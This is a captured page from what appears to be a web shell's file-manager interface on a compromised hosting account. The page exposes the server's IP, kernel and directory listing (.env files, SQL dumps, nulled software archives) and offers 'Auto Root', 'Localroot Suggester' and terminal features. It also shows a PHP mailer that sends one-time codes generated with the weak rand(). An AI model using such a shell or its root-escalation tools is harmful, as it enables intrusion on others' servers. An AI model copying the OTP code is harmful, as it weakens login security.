Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
.trash /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-09-15 16:52
DB
[ DIR ]
drwxr-xr-x
2024-01-26 18:47
Documentation
[ DIR ]
drwxr-xr-x
2025-08-31 15:59
Documentation.1
[ DIR ]
drwxr-xr-x
2025-10-30 18:23
FASTEARNADS
[ DIR ]
drwxr-xr-x
2025-09-15 19:14
Files
[ DIR ]
drwxr-xr-x
2025-10-30 18:23
admin
[ DIR ]
drwxr-xr-x
2025-10-18 00:49
admin.1
[ DIR ]
drwxr-xr-x
2025-10-17 21:15
admin.2
[ DIR ]
drwxr-xr-x
2025-10-18 21:54
app
[ DIR ]
drwxr-xr-x
2025-09-15 01:54
asset
[ DIR ]
drwxr-xr-x
2024-01-15 11:35
assets
[ DIR ]
drwxr--r--
2025-10-18 01:49
assets.1
[ DIR ]
drwxr--r--
2025-10-18 02:06
assets.2
[ DIR ]
drwxr-xr-x
2025-10-17 23:09
assets.3
[ DIR ]
drwxr--r--
2025-10-18 02:13
assets.4
[ DIR ]
drwxr-xr-x
2025-10-18 21:42
bootstrap
[ DIR ]
drwxr-xr-x
2025-09-15 21:09
cgi-bin
[ DIR ]
drwxr-xr-x
2025-08-31 15:33
cgi-bin.1
[ DIR ]
drwxr-xr-x
2025-11-14 14:25
cgi-bin.2
[ DIR ]
drwxr-xr-x
2026-03-06 11:21
core
[ DIR ]
drwxr-xr-x
2025-11-21 11:34
core.1
[ DIR ]
drwxr-xr-x
2025-11-21 15:51
data sycho
[ DIR ]
drwxr-xr-x
2026-03-18 10:25
database
[ DIR ]
drwxr-xr-x
2025-09-15 01:47
db
[ DIR ]
drwxr-xr-x
2025-10-17 23:00
db.1
[ DIR ]
drwxr-xr-x
2025-10-17 21:15
debug.php
[ DIR ]
drwxr-xr-x
2026-03-13 16:15
deployment_package
[ DIR ]
drwxr-xr-x
2025-10-18 02:05
deployment_package.1
[ DIR ]
drwxr-xr-x
2025-10-17 21:15
earnonline
[ DIR ]
drwxr-xr-x
2025-10-18 17:55
includes
[ DIR ]
drwxr-xr-x
2025-10-17 21:12
includes.1
[ DIR ]
drwxr-xr-x
2025-10-17 21:15
includes.2
[ DIR ]
drwxr-xr-x
2025-10-18 21:40
loading
[ DIR ]
drwxr-xr-x
2025-01-23 07:37
public
[ DIR ]
drwxr-xr-x
2025-09-15 19:19
resources
[ DIR ]
drwxr-xr-x
2025-09-15 01:28
routes
[ DIR ]
drwxr-xr-x
2025-09-15 21:08
serive
[ DIR ]
drwxr-xr-x
2024-10-22 19:23
shearearn
[ DIR ]
drwxr-xr-x
2025-10-17 21:12
storage
[ DIR ]
drwxr-xr-x
2025-09-15 01:56
uploads
[ DIR ]
drwxr--r--
2025-10-18 01:49
uploads.1
[ DIR ]
drwxr--r--
2025-10-18 02:06
uploads.2
[ DIR ]
drwxr-xr-x
2025-10-17 23:08
uploads.3
[ DIR ]
drwxr--r--
2025-10-18 02:13
user
[ DIR ]
drwxr-xr-x
2025-10-17 23:42
user.1
[ DIR ]
drwxr-xr-x
2025-10-17 21:15
user.2
[ DIR ]
drwxr-xr-x
2025-10-18 22:14
vendor
[ DIR ]
drwxr-xr-x
2025-09-15 01:53
.env
1.2
KB
-rw-r--r--
2025-09-15 19:24
.env.example
1.19
KB
-rw-r--r--
2025-09-15 01:27
.htaccess
281
B
-rw-r--r--
2025-09-15 16:51
.htaccess.1
1.08
KB
-rw-r--r--
2025-10-18 21:45
.htaccess.2
913
B
-rw-r--r--
2023-12-27 04:45
.htaccess.3
281
B
-rw-r--r--
2025-12-23 09:40
.htaccess.4
1.38
KB
-rw-r--r--
2025-12-23 09:40
.htaccess.5
812
B
-rw-r--r--
2025-12-23 09:40
.htaccess.6
281
B
-rw-r--r--
2026-02-22 15:25
.htaccess.7
5.15
KB
-rw-r--r--
2025-12-23 09:40
.htaccess.8
1.02
KB
-rw-r--r--
2025-12-23 09:40
.htaccess.9
281
B
-rw-r--r--
2025-12-23 09:40
.trash_restore
11.24
KB
-rw-------
2026-03-30 15:07
.well-known_2.zip
66.1
MB
-rw-r--r--
2025-07-10 15:10
.well-known_3.zip
69.98
MB
-rw-r--r--
2025-07-18 07:02
6clube by Tha_perfect_provider (1).zip
67.84
MB
-rw-r--r--
2025-11-21 12:25
DEPLOYMENT_INSTRUCTIONS.md
3.05
KB
-rw-r--r--
2025-10-18 01:48
FASTEARNADS.zip
26.04
MB
-rw-r--r--
2025-09-15 19:10
FIX_DUPLICATE_COMMISSIONS.md
3.63
KB
-rw-r--r--
2025-10-18 00:32
FIX_DUPLICATE_COMMISSIONS.md.1
3.63
KB
-rw-r--r--
2025-10-18 00:32
FIX_USER_EDIT_ISSUE.md
6.15
KB
-rw-r--r--
2025-10-18 00:44
FIX_USER_EDIT_ISSUE.md.1
6.15
KB
-rw-r--r--
2025-10-18 00:44
Hyipe rio_2.zip
56.84
MB
-rw-r--r--
2025-08-31 15:56
IMPROVEMENTS_SUMMARY.md
4.11
KB
-rw-r--r--
2025-10-18 00:40
IMPROVEMENTS_SUMMARY.md.1
4.11
KB
-rw-r--r--
2025-10-18 00:40
MRby91club.sql
32.58
MB
-rw-r--r--
2025-11-09 05:09
MRby91club.zip
58.89
MB
-rw-r--r--
2025-11-09 05:09
PropLab v1.0 Nulled.zip
67.55
MB
-rw-r--r--
2025-11-21 11:36
README.md
6.77
KB
-rw-r--r--
2025-09-15 01:24
README.md.1
3.01
KB
-rw-r--r--
2025-10-18 21:46
README.txt
2.34
KB
-rw-r--r--
2025-10-17 23:08
README.txt.1
2.34
KB
-rw-r--r--
2025-10-17 23:08
README_DEPLOYMENT.txt
1.74
KB
-rw-r--r--
2025-10-18 01:49
README_REFERRAL_COMMISSIONS.md
4.02
KB
-rw-r--r--
2025-10-18 00:22
README_REFERRAL_COMMISSIONS.md.1
4.02
KB
-rw-r--r--
2025-10-18 00:22
SQL_CHANGES_SUMMARY.md
2.02
KB
-rw-r--r--
2025-10-18 00:25
SQL_CHANGES_SUMMARY.md.1
2.02
KB
-rw-r--r--
2025-10-18 00:25
Vinance-Digital-Trading-Platform-V2.7[www.shop.softbdteam.com].zip
39.3
MB
-rw-r--r--
2025-11-28 16:01
apply_database_fixes.php
5.17
KB
-rw-r--r--
2025-10-18 00:39
apply_database_fixes.php.1
5.17
KB
-rw-r--r--
2025-10-18 00:39
artisan
1.7
KB
-rw-r--r--
2025-09-15 01:54
check_commission_levels.php
3.16
KB
-rw-r--r--
2025-10-18 00:53
check_commission_levels.php.1
3.16
KB
-rw-r--r--
2025-10-18 00:53
check_database_structure.php
3.9
KB
-rw-r--r--
2025-10-18 00:55
check_database_structure.php.1
3.9
KB
-rw-r--r--
2025-10-18 00:55
check_duplicate_commissions.php
4.38
KB
-rw-r--r--
2025-10-18 00:32
check_duplicate_commissions.php.1
4.38
KB
-rw-r--r--
2025-10-18 00:32
check_referrals_table.php
2.28
KB
-rw-r--r--
2025-10-18 00:39
check_referrals_table.php.1
2.28
KB
-rw-r--r--
2025-10-18 00:39
complete_setup.sql
5.34
KB
-rw-r--r--
2025-10-18 00:25
complete_setup.sql.1
5.34
KB
-rw-r--r--
2025-10-18 00:25
complete_setup_for_import.sql
5.36
KB
-rw-r--r--
2025-10-18 01:59
complete_setup_for_import.sql.1
5.36
KB
-rw-r--r--
2025-10-18 01:59
composer.json
1.83
KB
-rw-r--r--
2025-09-15 01:27
composer.lock
294.45
KB
-rw-r--r--
2025-09-15 01:52
config.php
2.63
KB
-rw-r--r--
2025-10-18 17:56
crazydeveloperbd_auto-ptc.sql
320.06
KB
-rw-r--r--
2025-02-03 11:56
crazydeveloperbd_auto-ptc.sql.1
320.06
KB
-rw-r--r--
2025-02-03 11:56
create_table_direct.php
3.44
KB
-rw-r--r--
2025-10-18 00:09
create_table_direct.php.1
3.44
KB
-rw-r--r--
2025-10-18 00:09
css_test.php
999
B
-rw-r--r--
2025-10-18 02:06
data sycho.1
0
B
-rw-r--r--
2026-03-18 10:25
database.sql
13.77
KB
-rw-r--r--
2025-10-18 22:24
debug_referral_chain.php
6.88
KB
-rw-r--r--
2025-10-18 00:54
debug_referral_chain.php.1
6.88
KB
-rw-r--r--
2025-10-18 00:54
demo-enhanced.html
45.46
KB
-rw-r--r--
2025-09-15 01:43
earnonline.zip
88.67
KB
-rw-r--r--
2025-10-18 17:55
error.php
3.84
KB
-rw-r--r--
2025-10-18 21:45
error_log
488
B
-rw-r--r--
2025-07-04 21:02
error_log.1
37.29
KB
-rw-r--r--
2025-11-21 16:03
favicon.png
2.71
KB
-rw-r--r--
2025-06-07 20:15
favicon.png.1
6.62
KB
-rw-r--r--
2022-08-31 22:45
favicon.png.2
50.48
KB
-rw-r--r--
2025-07-18 10:14
favicon.png.3
2.21
KB
-rw-r--r--
2025-07-18 10:19
fix_css_paths.bat
1.85
KB
-rw-r--r--
2025-10-18 02:06
fix_duplicate_commissions.php
2.67
KB
-rw-r--r--
2025-10-18 00:31
fix_duplicate_commissions.php.1
2.67
KB
-rw-r--r--
2025-10-18 00:31
fix_referral_commissions.sql
677
B
-rw-r--r--
2025-10-18 00:25
fix_referral_commissions.sql.1
677
B
-rw-r--r--
2025-10-18 00:25
fix_referral_commissions_for_import.sql
705
B
-rw-r--r--
2025-10-18 01:59
fix_referral_commissions_for_import.sql.1
705
B
-rw-r--r--
2025-10-18 01:59
index-8df9a8d8.js
1.09
MB
-rw-r--r--
2026-03-18 15:16
index.php
25.73
KB
-rw-r--r--
2025-10-18 01:40
index.php.1
26.17
KB
-rw-r--r--
2025-10-18 02:11
index.php.2
23.31
KB
-rw-r--r--
2025-10-18 22:32
index.php.3
1.77
KB
-rw-r--r--
2023-12-27 04:45
index.php.backup
25.74
KB
-rw-r--r--
2025-10-18 02:05
index_professional.php
26.17
KB
-rw-r--r--
2025-10-18 02:12
index_with_css_fix.php
25.82
KB
-rw-r--r--
2025-10-18 02:06
login.php
4.14
KB
-rw-r--r--
2025-10-17 23:09
login.php.1
4.15
KB
-rw-r--r--
2025-10-18 02:12
logo.png
18.18
KB
-rw-r--r--
2025-06-07 20:15
logo.png.1
46.68
KB
-rw-r--r--
2025-07-18 10:12
logo.png.2
46.68
KB
-rw-r--r--
2025-07-18 10:11
logo.png.3
920.77
KB
-rw-r--r--
2023-07-01 15:03
logout.php
88
B
-rw-r--r--
2025-10-17 23:02
logout.php.1
88
B
-rw-r--r--
2025-10-17 23:02
mailer.php
10.16
KB
-rw-r--r--
2026-03-30 14:45
mobile-demo.html
23.36
KB
-rw-r--r--
2025-09-15 01:32
register.php
6.57
KB
-rw-r--r--
2025-10-17 23:09
register.php.1
6.58
KB
-rw-r--r--
2025-10-18 02:12
run_setup.bat
714
B
-rw-r--r--
2025-10-18 00:23
run_setup.bat.1
714
B
-rw-r--r--
2025-10-18 00:23
servertime.php
128
B
-rw-r--r--
2024-09-27 12:16
setup_referral_commissions.php
2.73
KB
-rw-r--r--
2025-10-18 00:21
setup_referral_commissions.php.1
2.73
KB
-rw-r--r--
2025-10-18 00:21
shearearn.zip
3.2
MB
-rw-r--r--
2025-10-17 21:11
test.html
203
B
-rw-r--r--
2025-10-17 23:16
test.php
59
B
-rw-r--r--
2025-10-17 23:16
test.php.1
59
B
-rw-r--r--
2025-10-17 23:16
test_commission_application.php
6.93
KB
-rw-r--r--
2025-10-18 00:55
test_commission_application.php.1
6.93
KB
-rw-r--r--
2025-10-18 00:55
test_commission_display.php
3.26
KB
-rw-r--r--
2025-10-18 00:19
test_commission_display.php.1
3.26
KB
-rw-r--r--
2025-10-18 00:19
test_commission_fix.php
3.16
KB
-rw-r--r--
2025-10-18 00:39
test_commission_fix.php.1
3.16
KB
-rw-r--r--
2025-10-18 00:39
test_mobile_menu.php
2.73
KB
-rw-r--r--
2025-10-18 01:24
test_mobile_menu.php.1
2.73
KB
-rw-r--r--
2025-10-18 01:24
test_referral.php
2.07
KB
-rw-r--r--
2025-10-17 23:55
test_referral.php.1
2.07
KB
-rw-r--r--
2025-10-17 23:55
tradex (1).sql
189.14
KB
-rw-r--r--
2025-11-21 15:51
update_referral_commissions.sql
682
B
-rw-r--r--
2025-10-18 00:25
update_referral_commissions.sql.1
682
B
-rw-r--r--
2025-10-18 00:25
update_referral_commissions_for_import.sql
710
B
-rw-r--r--
2025-10-18 01:59
update_referral_commissions_for_import.sql.1
710
B
-rw-r--r--
2025-10-18 01:59
update_referrals_table.sql
398
B
-rw-r--r--
2025-10-18 00:31
update_referrals_table.sql.1
398
B
-rw-r--r--
2025-10-18 00:31
update_referrals_table_for_import.sql
426
B
-rw-r--r--
2025-10-18 01:59
update_referrals_table_for_import.sql.1
426
B
-rw-r--r--
2025-10-18 01:59
verify-code.php
8.79
KB
-rw-r--r--
2026-03-30 14:55
verify_commissions.php
3.28
KB
-rw-r--r--
2025-10-18 00:20
verify_commissions.php.1
3.28
KB
-rw-r--r--
2025-10-18 00:20
verify_commissions_working.php
8.2
KB
-rw-r--r--
2025-10-18 00:56
verify_commissions_working.php.1
8.2
KB
-rw-r--r--
2025-10-18 00:56
website_deployment_package.zip
648.91
KB
-rw-r--r--
2025-10-18 01:49
website_deployment_package_final.zip
657.48
KB
-rw-r--r--
2025-10-18 02:06
website_deployment_package_professional.zip
667.46
KB
-rw-r--r--
2025-10-17 21:14
website_deployment_package_updated.zip
653.07
KB
-rw-r--r--
2025-10-18 01:59
Save
Rename
<?php /** * WorkZone Master Mailer (v3 Final) * Optimized for assignment.work.zone.fastearnlimited.com * Guaranteed to prevent Fatal Errors and 500 crashes */ function send_smtp_mail($to, $subject, $message, $site_settings, &$smtp_log = '') { if (!$to) return false; // 1. Fetch official settings $from_email = isset($site_settings['smtp_from_email']) ? trim($site_settings['smtp_from_email']) : 'no-reply@assignment.work.zone.fastearnlimited.com'; $from_name = isset($site_settings['smtp_from_name']) ? trim($site_settings['smtp_from_name']) : 'Support'; $host = isset($site_settings['smtp_host']) ? trim($site_settings['smtp_host']) : ''; $user = isset($site_settings['smtp_user']) ? trim($site_settings['smtp_user']) : ''; $pass = isset($site_settings['smtp_pass']) ? trim($site_settings['smtp_pass']) : ''; $port = isset($site_settings['smtp_port']) ? (int) $site_settings['smtp_port'] : 465; $smtp_log .= "--- SMTP CONFIG ---\n"; $smtp_log .= "Host : $host\n"; $smtp_log .= "Port : $port\n"; $smtp_log .= "User : $user\n"; $smtp_log .= "From : $from_name <$from_email>\n"; $smtp_log .= "To : $to\n\n"; // 2. Try SMTP Socket Delivery if (!empty($host) && !empty($user) && !empty($pass) && $host !== 'localhost') { $socket_prefix = ($port == 465) ? "ssl://" : ""; $smtp_log .= "Connecting to {$socket_prefix}{$host}:{$port} ...\n"; $socket = @fsockopen($socket_prefix . $host, $port, $errno, $errstr, 15); if (!$socket) { $smtp_log .= "❌ Connection FAILED: [$errno] $errstr\n"; } else { $smtp_log .= "✅ Connected.\n"; $line = fgets($socket, 515); $smtp_log .= "S: $line"; fwrite($socket, "EHLO localhost\r\n"); $smtp_log .= "C: EHLO localhost\n"; // Read all EHLO lines while (($line = fgets($socket, 515)) !== false) { $smtp_log .= "S: $line"; if (substr($line, 3, 1) === ' ') break; // last EHLO line } if ($port == 587) { fwrite($socket, "STARTTLS\r\n"); $smtp_log .= "C: STARTTLS\n"; $tls_res = fgets($socket, 515); $smtp_log .= "S: $tls_res"; if (strpos($tls_res, '220') !== false) { @stream_socket_enable_crypto($socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT); $smtp_log .= "✅ TLS Enabled.\n"; fwrite($socket, "EHLO localhost\r\n"); $smtp_log .= "C: EHLO localhost\n"; while (($line = fgets($socket, 515)) !== false) { $smtp_log .= "S: $line"; if (substr($line, 3, 1) === ' ') break; } } else { $smtp_log .= "❌ STARTTLS failed.\n"; } } fwrite($socket, "AUTH LOGIN\r\n"); $smtp_log .= "C: AUTH LOGIN\n"; $line = fgets($socket, 515); $smtp_log .= "S: $line"; // FIXED: Added $socket argument to fwrite fwrite($socket, base64_encode($user) . "\r\n"); $smtp_log .= "C: [username sent]\n"; $line = fgets($socket, 515); $smtp_log .= "S: $line"; // FIXED: Added $socket argument to fwrite fwrite($socket, base64_encode($pass) . "\r\n"); $smtp_log .= "C: [password sent]\n"; $auth_res = fgets($socket, 515); $smtp_log .= "S: $auth_res"; if (strpos($auth_res, '235') !== false) { $smtp_log .= "✅ Auth SUCCESS.\n"; fwrite($socket, "MAIL FROM: <{$user}>\r\n"); $smtp_log .= "C: MAIL FROM: <{$user}>\n"; $line = fgets($socket, 515); $smtp_log .= "S: $line"; fwrite($socket, "RCPT TO: <{$to}>\r\n"); $smtp_log .= "C: RCPT TO: <{$to}>\n"; $line = fgets($socket, 515); $smtp_log .= "S: $line"; fwrite($socket, "DATA\r\n"); $smtp_log .= "C: DATA\n"; $line = fgets($socket, 515); $smtp_log .= "S: $line"; $data_body = "From: {$from_name} <{$from_email}>\r\n"; $data_body .= "To: {$to}\r\n"; $data_body .= "Subject: {$subject}\r\n"; $data_body .= "MIME-Version: 1.0\r\n"; $data_body .= "Content-Type: text/html; charset=UTF-8\r\n\r\n"; $data_body .= $message . "\r\n.\r\n"; fwrite($socket, $data_body); $send_res = fgets($socket, 515); $smtp_log .= "S: $send_res"; fwrite($socket, "QUIT\r\n"); fclose($socket); if (strpos($send_res, '250') !== false) { $smtp_log .= "✅ Email SENT successfully via SMTP!\n"; return true; } else { $smtp_log .= "❌ Server rejected email after DATA.\n"; } } else { $smtp_log .= "❌ Auth FAILED. Check username/password.\n"; fclose($socket); } } } else { $smtp_log .= "⚠️ SMTP skipped: host/user/pass not configured or host is localhost.\n"; } // Fallback to PHP mail() $smtp_log .= "\nFalling back to PHP mail()...\n"; if (function_exists('mail')) { $local_headers = "From: {$from_name} <{$from_email}>\r\n"; $local_headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $result = @mail($to, $subject, $message, $local_headers); $smtp_log .= $result ? "✅ PHP mail() succeeded.\n" : "❌ PHP mail() also failed.\n"; return $result; } $smtp_log .= "❌ PHP mail() is not available on this server.\n"; return false; } /** * Professional OTP Handler */ function send_otp($pdo, $email, $type) { if (!$email) return false; // 1. Generate Secure Code $otp_code = str_pad(rand(0, 999999), 6, '0', STR_PAD_LEFT); $expires_at = date('Y-m-d H:i:s', strtotime('+15 minutes')); // 2. Save to DB $stmt = $pdo->prepare("INSERT INTO email_codes (email, code, type, expires_at) VALUES (?, ?, ?, ?)"); $stmt->execute([$email, $otp_code, $type, $expires_at]); // 3. Fetch Settings $s_stmt = $pdo->query("SELECT setting_key, setting_value FROM site_settings"); $site_settings = array(); while ($row = $s_stmt->fetch(PDO::FETCH_ASSOC)) { $site_settings[$row['setting_key']] = $row['setting_value']; } $site_name = $site_settings['site_name'] ?? 'WorkZone'; $primary_color = '#00d26a'; $accent_color = '#00a152'; // 4. Determine Subject & Icon $title = "Verification Code"; $icon = "🔒"; if ($type == 'registration') { $title = "Welcome! Verify Your Account"; $icon = "🚀"; } elseif ($type == 'reset') { $title = "Password Reset Request"; $icon = "🔑"; } elseif ($type == 'login') { $title = "Secure Login Verification"; $icon = "🛡️"; } $subject = "$icon $title - $site_name"; // 5. Professional Premium Template $message = " <!DOCTYPE html> <html> <head> <meta name='viewport' content='width=device-width, initial-scale=1.0'> <style> body { margin: 0; padding: 0; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: #f4f7f6; } .container { max-width: 600px; margin: 40px auto; background: #ffffff; border-radius: 20px; overflow: hidden; box-shadow: 0 20px 40px rgba(0,0,0,0.1); } .header { background: linear-gradient(135deg, $primary_color 0%, $accent_color 100%); padding: 50px 20px; text-align: center; } .header h1 { color: #ffffff; margin: 0; font-size: 28px; letter-spacing: 2px; text-transform: uppercase; } .content { padding: 40px; color: #444444; line-height: 1.8; text-align: center; } .content h2 { color: #2d3436; font-size: 22px; margin-bottom: 10px; } .otp-box { margin: 40px 0; background: #f8f9fa; border: 2px dashed #e9ecef; border-radius: 15px; padding: 30px; } .otp-code { font-size: 42px; font-weight: 800; color: $primary_color; letter-spacing: 12px; font-family: 'Courier New', Courier, monospace; } .footer { background: #fafafa; padding: 30px; text-align: center; border-top: 1px solid #eeeeee; } .footer p { margin: 0; font-size: 13px; color: #999999; } .timer-badge { display: inline-block; padding: 8px 15px; background: #fff5f5; color: #ff6b6b; border-radius: 20px; font-size: 12px; font-weight: 700; border: 1px solid #ffdada; margin-top: 10px; } @media (max-width: 600px) { .container { margin: 20px; } .otp-code { font-size: 32px; letter-spacing: 8px; } } </style> </head> <body> <div class='container'> <div class='header'> <h1>$site_name</h1> </div> <div class='content'> <h2>$title</h2> <p style='font-size: 16px;'>Hello User,</p> <p>Use the secure verification code below to proceed with your request. Do not share this code with anyone.</p> <div class='otp-box'> <div class='otp-code'>$otp_code</div> <div class='timer-badge'>Expires in 15 minutes</div> </div> <p style='font-size: 14px; color: #777;'>If you didn't request this, please ignore this email or contact support.</p> </div> <div class='footer'> <p>© " . date('Y') . " $site_name Secure Platform. All rights reserved.</p> <p>Protected by SSL & Anti-Fraud Systems</p> </div> </div> </body> </html>"; return send_smtp_mail($email, $subject, $message, $site_settings); }